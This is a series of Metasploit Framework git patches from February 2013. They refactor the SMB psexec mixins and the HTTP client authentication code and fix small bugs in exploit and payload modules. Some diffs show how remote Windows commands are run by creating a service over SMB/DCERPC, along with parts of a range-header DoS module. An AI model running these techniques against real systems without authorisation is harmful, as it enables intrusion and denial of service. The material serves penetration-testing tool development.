print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}") return end - if execute_command(ip, text, bat) - get_output(smbshare, ip, text) + if execute_command(text, bat) + get_output(text) end - cleanup_after(smbshare, ip, text, bat) + cleanup_after(text, bat) disconnect end end # Executes specified Windows Command - def execute_command(ip, text, bat) + def execute_command(text, bat) + # Try and execute the provided command + execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}" + print_status("#{peer} - Executing the command...") begin - #Try and execute the provided command - execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}" - print_status("#{peer} - Executing the command...") return psexec(execute) - rescue StandardError => exec_command_error + rescue Rex::Proto::SMB::Exceptions::Error => exec_command_error print_error("#{peer} - Unable to execute specified command: #{exec_command_error}") return false end end # Retrive output from command - def get_output(smbshare, ip, file) - begin - print_status("#{peer} - Getting the command output...") - simple.connect("\\\\#{ip}\\#{smbshare}") - outfile = simple.open(file, 'ro') - output = outfile.read - outfile.close - simple.disconnect("\\\\#{ip}\\#{smbshare}") - if output.empty? - print_status("#{peer} - Command finished with no output") - return - end - print_good("#{peer} - Command completed successfuly! Output:\r\n#{output}") - return - rescue StandardError => output_error - print_error("#{peer} - Error getting command output. #{output_error.class}. #{output_error}.") + def get_output(file) + print_status("#{peer} - Getting the command output...") + output = smb_read_file(@smbshare, @ip, file) + if output.nil? + print_error("#{peer} - Error getting command output. #{$!.class}. #{$!}.") return end + if output.empty? + print_status("#{peer} - Command finished with no output") + return + end + print_good("#{peer} - Command completed successfuly! Output:") + print_line("#{output}") end - # This is the cleanup method, removes .txt and .bat file/s created during execution- - def cleanup_after(smbshare, ip, text, bat) - begin - # Try and do cleanup command - cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{text} & del #{bat}" - print_status("#{peer} - Executing cleanup...") - psexec(cleanup) - if !check_cleanup(smbshare, ip, text) - print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{text} and #{bat} from the target.") - else - print_status("#{peer} - Cleanup was successful") + # Removes files created during execution. + def cleanup_after(*files) + simple.connect("\\\\#{@ip}\\#{@smbshare}") + print_status("#{peer} - Executing cleanup...") + files.each do |file| + begin + smb_file_rm(file) + rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror + print_error("#{peer} - Unable to cleanup #{file}. Error: #{cleanuperror}") end - rescue StandardError => cleanuperror - print_error("#{peer} - Unable to processes cleanup commands. Error: #{cleanuperror}") - print_error("#{peer} - Maybe you'll need to manually remove #{text} and #{bat} from the target") - return cleanuperror end - end - - def check_cleanup(smbshare, ip, text) - simple.connect("\\\\#{ip}\\#{smbshare}") - begin - if checktext = simple.open(text, 'ro') - check = false - else - check = true - end - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return check - rescue StandardError => check_error - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return true + left = files.collect{ |f| smb_file_exist?(f) } + if left.any? + print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.") + else + print_status("#{peer} - Cleanup was successful") end end - # This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!! - # Instead of uploading and runing a binary. This method runs a single windows command fed into the COMMAND paramater - def psexec(command) - - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) - vprint_status("#{peer} - Binding to #{handle} ...") - dcerpc_bind(handle) - vprint_status("#{peer} - Bound to #{handle} ...") - - vprint_status("#{peer} - Obtaining a service manager handle...") - scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + - NDR.long(0) + - NDR.long(0xF003F) - begin - response = dcerpc.call(0x0f, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - scm_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - servicename = Rex::Text.rand_text_alpha(11) - displayname = Rex::Text.rand_text_alpha(16) - holdhandle = scm_handle - svc_handle = nil - svc_status = nil - - stubdata = - scm_handle + - NDR.wstring(servicename) + - NDR.uwstring(displayname) + - - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( command ) + - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password - begin - vprint_status("#{peer} - Creating the service...") - response = dcerpc.call(0x0c, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception - end - - vprint_status("#{peer} - Opening service...") - begin - stubdata = - scm_handle + - NDR.wstring(servicename) + - NDR.long(0xF01FF) - - response = dcerpc.call(0x10, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - vprint_status("#{peer} - Starting the service...") - stubdata = - svc_handle + - NDR.long(0) + - NDR.long(0) - begin - response = dcerpc.call(0x13, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - vprint_status("#{peer} - Removing the service...") - stubdata = - svc_handle - begin - response = dcerpc.call(0x02, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end - - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end - - select(nil, nil, nil, 1.0) - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") - return true - end - end From 4703278183733aae69839846bbdb20a2adaaa6f0 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 19 Feb 2013 12:55:06 -0600 Subject: [PATCH 137/341] Move SMB mixins into their own directory --- lib/msf/core/exploit/dcerpc.rb | 2 +- lib/msf/core/exploit/smb.rb | 18 ++------------- lib/msf/core/exploit/smb/authenticated.rb | 22 +++++++++++++++++++ lib/msf/core/exploit/{ => smb}/psexec.rb | 5 +++-- modules/auxiliary/admin/smb/psexec_command.rb | 4 +--- 5 files changed, 29 insertions(+), 22 deletions(-) create mode 100644 lib/msf/core/exploit/smb/authenticated.rb rename lib/msf/core/exploit/{ => smb}/psexec.rb (97%) diff --git a/lib/msf/core/exploit/dcerpc.rb b/lib/msf/core/exploit/dcerpc.rb index 51b11c738b..ff700984be 100644 --- a/lib/msf/core/exploit/dcerpc.rb +++ b/lib/msf/core/exploit/dcerpc.rb @@ -21,7 +21,7 @@ module Exploit::Remote::DCERPC DCERPCPacket = Rex::Proto::DCERPC::Packet DCERPCClient = Rex::Proto::DCERPC::Client DCERPCResponse = Rex::Proto::DCERPC::Response - DCERPCUUID = Rex::Proto::DCERPC::UUID + DCERPCUUID = Rex::Proto::DCERPC::UUID NDR = Rex::Encoder::NDR diff --git a/lib/msf/core/exploit/smb.rb b/lib/msf/core/exploit/smb.rb index f249af1ed2..6e24ea986e 100644 --- a/lib/msf/core/exploit/smb.rb +++ b/lib/msf/core/exploit/smb.rb @@ -4,7 +4,6 @@ require 'rex/proto/ntlm' require 'rex/proto/dcerpc' require 'rex/encoder/ndr' - module Msf ### @@ -18,7 +17,8 @@ module Msf module Exploit::Remote::SMB - require 'msf/core/exploit/psexec' + require 'msf/core/exploit/smb/authenticated' + require 'msf/core/exploit/smb/psexec' include Exploit::Remote::Tcp include Exploit::Remote::NTLM::Client @@ -35,20 +35,6 @@ module Exploit::Remote::SMB DCERPCUUID = Rex::Proto::DCERPC::UUID NDR = Rex::Encoder::NDR - # Mini-mixin for making SMBUser/SMBPass/SMBDomain regular options vs advanced - # Included when the module needs credentials to function - module Authenticated - def initialize(info = {}) - super - register_options( - [ - OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), - OptString.new('SMBPass', [ false, 'The password for the specified username', '']), - OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']), - ], Msf::Exploit::Remote::SMB::Authenticated) - end - end - def initialize(info = {}) super diff --git a/lib/msf/core/exploit/smb/authenticated.rb b/lib/msf/core/exploit/smb/authenticated.rb new file mode 100644 index 0000000000..62bfdd4703 --- /dev/null +++ b/lib/msf/core/exploit/smb/authenticated.rb @@ -0,0 +1,22 @@ +# -*- coding: binary -*- + +module Msf + +# Mini-mixin for making SMBUser/SMBPass/SMBDomain regular options vs advanced +# Included when the module needs credentials to function +module Exploit::Remote::SMB::Authenticated + + include Msf::Exploit::Remote::SMB + + def initialize(info = {}) + super + register_options( + [ + OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), + OptString.new('SMBPass', [ false, 'The password for the specified username', '']), + OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']), + ], Msf::Exploit::Remote::SMB::Authenticated) + end +end + +end diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/smb/psexec.rb similarity index 97% rename from lib/msf/core/exploit/psexec.rb rename to lib/msf/core/exploit/smb/psexec.rb index 58e6788695..3ba505c6cf 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/smb/psexec.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core' require 'msf/core/exploit/dcerpc' @@ -11,10 +12,10 @@ module Msf # and runing a binary. #### -module Exploit::Remote::Psexec +module Exploit::Remote::SMB::Psexec include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Authenticated # Retrives output from the executed command # diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 15e51b112e..54be82308f 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -5,9 +5,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated - include Msf::Exploit::Remote::Psexec + include Msf::Exploit::Remote::SMB::Psexec include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner From 92093cd7d802f7896661a3e96dcfab703f9d6493 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 19 Feb 2013 15:04:18 -0600 Subject: [PATCH 138/341] There's no HttpClient, so it shouldn't be using normalize_uri --- modules/auxiliary/dos/http/apache_range_dos.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/http/apache_range_dos.rb b/modules/auxiliary/dos/http/apache_range_dos.rb index 1ab9785c41..1cab306c3e 100644 --- a/modules/auxiliary/dos/http/apache_range_dos.rb +++ b/modules/auxiliary/dos/http/apache_range_dos.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary end def run - uri = normalize_uri(datastore['URI']) + uri = datastore['URI'] ranges = '' for i in (0..1299) do ranges += ",5-" + i.to_s From 040296f13a7aa30e5366d77bfe89af198e20904c Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 19 Feb 2013 15:41:31 -0600 Subject: [PATCH 139/341] Make travis install libpcap-dev --- .travis.yml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/.travis.yml b/.travis.yml index 6b74b25154..b091d3aaa6 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,4 +1,8 @@ language: ruby +before_install: + - sudo apt-get update -qq + - sudo apt-get install -qq libpcap-dev + rvm: #- '1.8.7' - '1.9.3' From f1416d909c3747e830c9ceae648e8fa5295b411a Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 19 Feb 2013 16:18:29 -0600 Subject: [PATCH 140/341] Fix a typo that broke this module against x64 [SeeRM #7747] --- modules/exploits/multi/http/jboss_maindeployer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 7c36c1fa16..5d869b34ca 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -350,7 +350,7 @@ class Metasploit3 < Msf::Exploit::Remote arch = $1 if (arch =~ /(x86|i386|i686)/i) return ARCH_X86 - elsif (os =~ /(x86_64|amd64)/i) + elsif (arch =~ /(x86_64|amd64)/i) return ARCH_X86 end end From 0662677a72a2223eb295550cd6022e52436658f3 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 Feb 2013 17:19:16 -0600 Subject: [PATCH 141/341] First minor cleanup sweep --- lib/rex/proto/http/client.rb | 80 +++++++++++++--------------- lib/rex/proto/http/client_request.rb | 2 +- 2 files changed, 38 insertions(+), 44 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 0244a9eb3e..13d36d91c0 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -169,27 +169,28 @@ class Client # # @return [Request] def request_raw(opts={}) - opts['agent'] ||= config['agent'] - opts['basic_auth'] = opts['basic_auth'] || config['basic_auth'] || '' - opts['data'] ||= '' - opts['uri'] ||= '/' - opts['cookie'] ||= config['cookie'] - opts['encode'] ||= false - opts['headers'] ||= config['headers'] || {} - opts['vhost'] ||= config['vhost'] - opts['method'] ||= 'GET' - opts['proto'] ||= 'HTTP' - opts['query'] ||= '' - opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' - opts['version'] = opts['version'] || config['version'] || '1.1' - opts['cgi'] = false - opts['port'] = self.port + opts['agent'] ||= config['agent'] + opts['data'] ||= '' + opts['uri'] ||= '/' + opts['cookie'] ||= config['cookie'] + opts['encode'] ||= false + opts['headers'] ||= config['headers'] || {} + opts['vhost'] ||= config['vhost'] + opts['method'] ||= 'GET' + opts['proto'] ||= 'HTTP' + opts['query'] ||= '' + + opts['cgi'] = false + opts['port'] = self.port + opts['basic_auth'] = opts['basic_auth'] || config['basic_auth'] || '' + opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' + opts['version'] = opts['version'] || config['version'] || '1.1' if opts['basic_auth'] and not opts['authorization'] opts['authorization'] = Rex::Text.encode_base64(opts['basic_auth']) end - req = ClientRequest.new(opts,self.config) + req = ClientRequest.new(self.config,opts) end @@ -205,24 +206,25 @@ class Client # # @return [Request] def request_cgi(opts={}) - opts['agent'] ||= config['agent'] - opts['basic_auth'] = opts['basic_auth'] || config['basic_auth'] || '' - opts['data'] ||= '' - opts['uri'] ||= '/' - opts['cookie'] ||= config['cookie'] - opts['encode'] ||= false - opts['headers'] ||= config['headers'] || {} - opts['vhost'] ||= config['vhost'] - opts['method'] ||= 'GET' - opts['proto'] ||= 'HTTP' - opts['query'] ||= '' - opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' - opts['ctype'] ||= 'application/x-www-form-urlencoded' - opts['vars_get'] ||= {} - opts['vars_post'] ||= {} - opts['version'] = opts['version'] || config['version'] || '1.1' - opts['cgi'] = true - opts['port'] = self.port + opts['agent'] ||= config['agent'] + opts['data'] ||= '' + opts['uri'] ||= '/' + opts['cookie'] ||= config['cookie'] + opts['encode'] ||= false + opts['headers'] ||= config['headers'] || {} + opts['vhost'] ||= config['vhost'] + opts['method'] ||= 'GET' + opts['proto'] ||= 'HTTP' + opts['query'] ||= '' + opts['ctype'] ||= 'application/x-www-form-urlencoded' + opts['vars_get'] ||= {} + opts['vars_post'] ||= {} + + opts['cgi'] = true + opts['port'] = self.port + opts['basic_auth'] = opts['basic_auth'] || config['basic_auth'] || '' + opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' + opts['version'] = opts['version'] || config['version'] || '1.1' if opts['encode_params'] == true or opts['encode_params'].nil? opts['encode_params'] = true @@ -234,7 +236,7 @@ class Client opts['authorization'] = Rex::Text.encode_base64(opts['basic_auth']) end - req = ClientRequest.new(opts,self.config) + req = ClientRequest.new(self.config,opts) end # @@ -396,7 +398,6 @@ class Client # We do persist the rest of the connection stream because Digest is a tcp session # based authentication method. # - def digest_auth(opts={}) @nonce_count = 0 @@ -753,13 +754,6 @@ class Client pipeline end - # - # Return the Authorization basic-auth header - # - def set_basic_auth_header(auth) - auth ? set_formatted_header("Authorization", "Basic " + Rex::Text.encode_base64(auth)) : "" - end - # # The client request configuration # diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index c24d9a8c4a..8af865bde1 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -34,7 +34,7 @@ class ClientRequest attr_reader :opts - def initialize(opts={}, client_config) + def initialize(client_config,opts={}) @cgi = opts['cgi'] @config = client_config @connection = opts['connection'] From 3949c851a426af9ebb8d6384cfcec28aac3db999 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 19 Feb 2013 17:53:48 -0600 Subject: [PATCH 142/341] Was, indeed, missing an or pipe --- lib/msf/core/auxiliary/login.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/auxiliary/login.rb b/lib/msf/core/auxiliary/login.rb index 29556b1243..3072a44907 100644 --- a/lib/msf/core/auxiliary/login.rb +++ b/lib/msf/core/auxiliary/login.rb @@ -50,8 +50,8 @@ module Auxiliary::Login \n\*$ | (Login ?|User ?)(name|): | ^\s*\<[a-f0-9]+\>\s*$ | - ^\s*220.*FTP - not\ allowed + ^\s*220.*FTP| + not\ allowed\ to\ log\ in )/mix @waiting_regex = /(?: From 04ec4e432db969dc68b7cd94baed9d5c0795c7ee Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 20 Feb 2013 01:02:58 +0100 Subject: [PATCH 143/341] minor cleanup for shell_bind_tcp --- modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb index 2c4ae5e3a5..c4f305f513 100644 --- a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -23,7 +19,6 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Linux Command Shell, Bind TCP Inline', - 'Version' => '$Revision$', 'Description' => 'Listen for a connection and spawn a command shell', 'Author' => 'Vlatko Kosturjak', 'License' => MSF_LICENSE, @@ -40,7 +35,7 @@ module Metasploit3 end def generate - if(!datastore['LPORT'] or datastore['LPORT'].empty? ) + if !datastore['LPORT'] return super end From a4905e43a2ebcabf8d8f3ef82f9964c09797a4c8 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 Feb 2013 18:40:39 -0600 Subject: [PATCH 144/341] Fix the way creds are passed + YARD some ayrddocs on send_auth plus fix the wierd way i was passing creds around --- lib/rex/proto/http/client.rb | 36 +++++++++++++++++------------------- 1 file changed, 17 insertions(+), 19 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 13d36d91c0..66a4780618 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -319,6 +319,7 @@ class Client # # @param req [Request,#to_s] The request to send # @param t (see #connect) + # def send_request(req, t = -1) connect(t) conn.put(req.to_s) @@ -329,31 +330,29 @@ class Client !(self.username.nil?) && self.username != '' end - # - # Params - - # res = The 401 response we need to auth from - # opts = the opts used to generate the request that created this response - # t = the timeout for the http requests - # persist = whether to persist the tcp connection for HTTP Pipelining - # - # Parses the response for what Authentication methods are supported. - # Sets the corect authorization options and passes them on to the correct - # method for sending the next request. + # Resends an HTTP Request with the propper authentcation headers + # set. If we do not support the authentication type the server requires + # we return the original response object + # @param res [Response] the HTTP Response object + # @param opts [Hash] the options used to generate the original HTTP request + # @param t [Fixnum] the timeout for the request in seconds + # @param persist [Boolean] whether or not to persist the TCP connection (pipelining) + # @return [Response] the last valid HTTP response object we received def send_auth(res, opts, t, persist) + opts['username'] ||= self.username + opts['password'] ||= self.password supported_auths = res.headers['WWW-Authenticate'] if supported_auths.include? 'Basic' if opts['headers'] - opts['headers']['Authorization'] = basic_auth_header(self.username,self.password) + opts['headers']['Authorization'] = basic_auth_header(username,password) else - opts['headers'] = { 'Authorization' => basic_auth_header(self.username,self.password)} + opts['headers'] = { 'Authorization' => basic_auth_header(username,password)} end req = request_cgi(opts) res = _send_recv(req,t,persist) return res elsif supported_auths.include? "Digest" - opts['DigestAuthUser'] = self.username.to_s - opts['DigestAuthPassword'] = self.password.to_s temp_response = digest_auth(opts) if temp_response.kind_of? Rex::Proto::Http::Response res = temp_response @@ -403,8 +402,8 @@ class Client to = opts['timeout'] || 20 - digest_user = opts['DigestAuthUser'] || "" - digest_password = opts['DigestAuthPassword'] || "" + digest_user = opts['username'] || "" + digest_password = opts['password'] || "" method = opts['method'] path = opts['uri'] @@ -539,7 +538,6 @@ class Client # Builds a series of requests to complete Negotiate Auth. Works essentially # the same way as Digest auth. Same pipelining concerns exist. # - def negotiate_auth(opts={}) ntlm_options = { :signing => false, @@ -550,8 +548,8 @@ class Client } to = opts['timeout'] || 20 - opts['username'] ||= self.username.to_s - opts['password'] ||= self.password.to_s + opts['username'] ||= '' + opts['password'] ||= '' if opts['provider'] and opts['provider'].include? 'Negotiate' provider = "Negotiate " From de4234f0adfe877ede4d7d816f21ece5e6004cb8 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 Feb 2013 18:48:03 -0600 Subject: [PATCH 145/341] Some more YARD docs --- lib/rex/proto/http/client.rb | 17 +++-------------- 1 file changed, 3 insertions(+), 14 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 66a4780618..132c7cdaf0 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -383,20 +383,9 @@ class Client auth_str = "Basic " + Rex::Text.encode_base64(auth_str) end - - # - # Opts - - # Inherits all the same options as send_request_cgi - # Also expects some specific opts - # DigestAuthUser - The username for DigestAuth - # DigestAuthPass - The password for DigestAuth - # DigestAuthIIS - IIS uses a slighlty different implementation, set this for IIS support - # - # This method builds new request to complete a Digest Authentication cycle. - # We do not persist the original connection , to clear state in preparation for our auth - # We do persist the rest of the connection stream because Digest is a tcp session - # based authentication method. - # + # Send a series of requests to complete Digest Authentication + # @param opts [Hash] the options used to build an HTTP request + # @return [Response] the last valid HTTP response we received def digest_auth(opts={}) @nonce_count = 0 From 9d4a3ca729d97c47c64850c606cc6c4577b44683 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 19 Feb 2013 16:18:29 -0600 Subject: [PATCH 146/341] Fix a typo that broke this module against x64 [SeeRM #7747] --- modules/exploits/multi/http/jboss_maindeployer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 7c36c1fa16..5d869b34ca 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -350,7 +350,7 @@ class Metasploit3 < Msf::Exploit::Remote arch = $1 if (arch =~ /(x86|i386|i686)/i) return ARCH_X86 - elsif (os =~ /(x86_64|amd64)/i) + elsif (arch =~ /(x86_64|amd64)/i) return ARCH_X86 end end From dac11474735f77b1b301a6ef5a6d01643f5ee30e Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 Feb 2013 19:41:42 -0600 Subject: [PATCH 147/341] merge client config into opts --- lib/rex/proto/http/client.rb | 8 ++++++-- lib/rex/proto/http/client_request.rb | 4 ++-- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 132c7cdaf0..46bfffcc86 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -186,11 +186,13 @@ class Client opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' opts['version'] = opts['version'] || config['version'] || '1.1' + opts['client_config'] = self.config + if opts['basic_auth'] and not opts['authorization'] opts['authorization'] = Rex::Text.encode_base64(opts['basic_auth']) end - req = ClientRequest.new(self.config,opts) + req = ClientRequest.new(opts) end @@ -226,6 +228,8 @@ class Client opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' opts['version'] = opts['version'] || config['version'] || '1.1' + opts['client_config'] = self.config + if opts['encode_params'] == true or opts['encode_params'].nil? opts['encode_params'] = true else @@ -236,7 +240,7 @@ class Client opts['authorization'] = Rex::Text.encode_base64(opts['basic_auth']) end - req = ClientRequest.new(self.config,opts) + req = ClientRequest.new(opts) end # diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index 8af865bde1..9c87834499 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -34,9 +34,9 @@ class ClientRequest attr_reader :opts - def initialize(client_config,opts={}) + def initialize(opts={}) @cgi = opts['cgi'] - @config = client_config + @config = opts['client_config'] @connection = opts['connection'] @content_type = opts['ctype'] @cookie = opts['cookie'] From b2563dd6c27a06123be1c341003f1093175b7dc6 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 Feb 2013 21:25:37 -0600 Subject: [PATCH 148/341] trying to clean up the mess from the revert --- lib/anemone/rex_http.rb | 4 +- .../1.9.1/gems/method_source-0.7.1/.gemtest | 0 .../gems/method_source-0.7.1/.travis.yml | 17 -- .../1.9.1/gems/method_source-0.7.1/.yardopts | 1 - .../1.9.1/gems/method_source-0.7.1/Gemfile | 2 - .../1.9.1/gems/method_source-0.7.1/LICENSE | 25 -- .../gems/method_source-0.7.1/README.markdown | 91 ------ .../1.9.1/gems/method_source-0.7.1/Rakefile | 76 ----- .../method_source-0.7.1/lib/method_source.rb | 163 ----------- .../lib/method_source/source_location.rb | 138 --------- .../lib/method_source/version.rb | 3 - .../method_source-0.7.1/method_source.gemspec | 33 --- .../gems/method_source-0.7.1/test/test.rb | 122 -------- .../method_source-0.7.1/test/test_helper.rb | 50 ---- lib/msf/core/auxiliary/crawler.rb | 14 +- lib/msf/core/auxiliary/web/http.rb | 13 +- lib/msf/core/exploit/http/client.rb | 265 ++---------------- lib/rex/proto/http/client.rb | 28 +- 18 files changed, 65 insertions(+), 980 deletions(-) delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb diff --git a/lib/anemone/rex_http.rb b/lib/anemone/rex_http.rb index ce6a71a17f..f606f289fc 100644 --- a/lib/anemone/rex_http.rb +++ b/lib/anemone/rex_http.rb @@ -188,7 +188,9 @@ module Anemone context, url.scheme == "https", 'SSLv23', - @opts[:proxies] + @opts[:proxies], + @opts[:username], + @opts[:password] ) conn.set_config( diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml deleted file mode 100644 index ba51bba6b2..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml +++ /dev/null @@ -1,17 +0,0 @@ -rvm: - - 1.8.7 - - 1.9.2 - - 1.9.3 - - ree - - rbx-18mode - - rbx-19mode - - jruby - -notifications: - irc: "irc.freenode.org#pry" - recipients: - - jrmair@gmail.com - -branches: - only: - - master diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts 